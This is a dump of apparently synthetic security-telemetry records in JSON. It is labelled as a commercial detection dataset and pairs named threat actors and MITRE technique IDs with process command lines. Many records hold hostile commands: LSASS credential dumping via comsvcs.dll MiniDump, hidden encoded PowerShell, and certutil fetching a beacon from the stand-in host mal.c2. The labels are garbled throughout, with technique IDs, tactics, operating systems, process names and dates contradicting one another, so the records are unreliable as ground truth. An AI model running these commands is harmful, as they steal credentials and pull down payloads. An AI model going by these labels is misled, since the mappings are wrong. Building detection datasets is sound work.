text
stringlengths
1.13k
1.33k
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Collection","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260109T120517000Z_0003401","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.74.248.156","name":"AZURE-VM-LTN40LWMX2","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3401APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.74.255.69","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 925 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-01T07:24:37.000Z","user":{"name":"svc_zumigvqorbsk","sid":"S-1-5-21-342929792-470063023-4603"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260501T050154000Z_0003403","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.75.235.125","name":"EC2-INST-L7MHIF0W7U","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3403APT29T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.146.180.154","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-28T06:02:23.000Z","user":{"name":"azuread\\6uo171xnhd8v","sid":"S-1-5-21-772323477-167742417-1685"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250427T025847000Z_0003405","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.112.195.170","name":"DB-ORACLE-C0Q99A2X8L","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3405Lapsus$T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.6.80","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-22T23:22:54.000Z","user":{"name":"CORP\\8q0pu2w2ou9k","sid":"S-1-5-21-350828766-654053396-4115"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Discovery","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260426T015804000Z_0003407","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.86.0.177","name":"IAM-ROLE-4OJEDME5R9","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3407APT41T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.10.45.132","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1641 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-18T21:58:00.000Z","user":{"name":"svc_o168ky54ls3u","sid":"S-1-5-21-501368814-845829088-2151"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20250114T111816000Z_0003409","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.100.82.184","name":"AZURE-VM-VUSYP2TPOQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3409Volt TyphoonT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.181.34.135","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-30T03:22:57.000Z","user":{"name":"arn:aws:iam::h9pt4t9b8kkd","sid":"S-1-5-21-386299362-750258207-4241"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection","Lateral Movement","Defense Evasion"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250912T211308000Z_0003411","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.176.118.218","name":"AZURE-VM-U7GFJTIISQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3411UNC4841T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.125.65.225","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-04-07T14:16:04.000Z","user":{"name":"azuread\\g11vlfs1md1o","sid":"S-1-5-21-942401559-225099904-1458"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250815T182729000Z_0003413","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.172.131.176","name":"IAM-ROLE-D0I5LDKOQI","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3413Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.174.220.100","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2589 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-11T00:12:15.000Z","user":{"name":"CORP\\c117owga8xcy","sid":"S-1-5-21-263306408-802107360-4599"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251206T202108000Z_0003415","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.107.252.4","name":"WIN-FIN-SRV-GR0L4I78VL","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3415APT41T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.100.88.146","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-02-18T20:25:51.000Z","user":{"name":"svc_w010qjpyr9cz","sid":"S-1-5-21-480770096-766355865-1263"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20260419T014054000Z_0003417","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.119.113.21","name":"EC2-INST-CGW16LOI2G","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3417UNC4841T1021.006"},"network":{"domain":"github.com","dst_ip":"1.50.43.253","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-02T05:34:14.000Z","user":{"name":"i-fhik7baigna2","sid":"S-1-5-21-821278305-326837823-9826"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250704T040623000Z_0003419","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.25.160.110","name":"IAM-ROLE-VM9T8CCQ7F","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3419Lapsus$T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.68.204.214","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1763 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-04T18:51:54.000Z","user":{"name":"svc_w5ioo7sqswil","sid":"S-1-5-21-172594316-790118056-7635"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Exfiltration","Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260602T214517000Z_0003421","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.215.26.143","name":"EC2-INST-HN39KJ6QFT","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3421APT41T1546.003"},"network":{"domain":"github.com","dst_ip":"1.154.87.53","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2894 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-09T17:59:48.000Z","user":{"name":"arn:aws:iam::d0owvhz65ook","sid":"S-1-5-21-788338340-633867281-7709"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250731T171806000Z_0003423","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.8.165.95","name":"APP-WEB-YJHUCPXWBO","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3423Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.132.9.161","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3036 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-17T06:22:32.000Z","user":{"name":"azuread\\0q66fj3my48v","sid":"S-1-5-21-120363023-357205860-4464"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250801T034452000Z_0003425","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.85.234.135","name":"APP-WEB-FGEMDZFZMF","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3425APT41T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.154.67.75","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-09T08:10:39.000Z","user":{"name":"CORP\\ohbjhp2ek8gy","sid":"S-1-5-21-514513975-747034797-6458"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Execution"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20250808T094138000Z_0003427","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.60.141.176","name":"IAM-ROLE-NFNC6OKEW3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3427FIN7T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.32.66.241","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-15T21:41:25.000Z","user":{"name":"azuread\\e6ks9yezz7nq","sid":"S-1-5-21-609420305-113100906-6441"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20251026T191152000Z_0003429","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.172.151.166","name":"DB-ORACLE-LKPAZ9Y71R","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3429Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.37.224.51","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-22T09:31:18.000Z","user":{"name":"CORP\\soxhxlxbbvg6","sid":"S-1-5-21-653476243-878020619-7146"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20261020T081544000Z_0003431","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.121.111.35","name":"IAM-ROLE-FRRNR1OKT0","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3431APT41T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.104.134.221","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 504 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-25T21:30:28.000Z","user":{"name":"azuread\\6as6j86hr5no","sid":"S-1-5-21-315284903-257682006-6494"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250413T234232000Z_0003433","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.16.141.199","name":"WIN-FIN-SRV-MN19ITW6S2","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3433UNC4841T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.7.141.94","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-06T02:48:04.000Z","user":{"name":"i-u9v9li0y9nqv","sid":"S-1-5-21-924564395-879448325-4907"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250717T145203000Z_0003435","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.133.119.178","name":"EC2-INST-K1R8DF0F3V","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3435UNC4841T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.121.150.113","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2340 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-11T02:16:35.000Z","user":{"name":"azuread\\zxbhivs1fi4b","sid":"S-1-5-21-517361706-816226948-2816"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Collection"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20260224T154026000Z_0003437","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.177.36.182","name":"AZURE-VM-JFM87PSLX9","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3437Scattered SpiderT1531"},"network":{"domain":"github.com","dst_ip":"1.149.27.77","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-05-30T00:53:04.000Z","user":{"name":"i-b4btl2brf9mn","sid":"S-1-5-21-282039212-409838748-4076"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20261226T150004000Z_0003439","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.170.108.125","name":"EC2-INST-N6GWB6IGOO","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3439FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.101.185.213","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1449 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-11T14:42:13.000Z","user":{"name":"CORP\\bou6o6j4034s","sid":"S-1-5-21-776205067-923415212-8244"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250522T175146000Z_0003441","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.201.62.54","name":"WIN-FIN-SRV-JUNCABHCYA","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3441UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.98.78.81","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-12T22:58:09.000Z","user":{"name":"azuread\\ptaiecajwgmh","sid":"S-1-5-21-353872825-271567512-2964"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20260201T141257000Z_0003443","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.82.253.224","name":"EC2-INST-0WJJ3BECO2","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3443APT29T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.96.7","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-01-21T05:57:53.000Z","user":{"name":"CORP\\nis3ht8p57jf","sid":"S-1-5-21-363331834-823348686-5276"}}
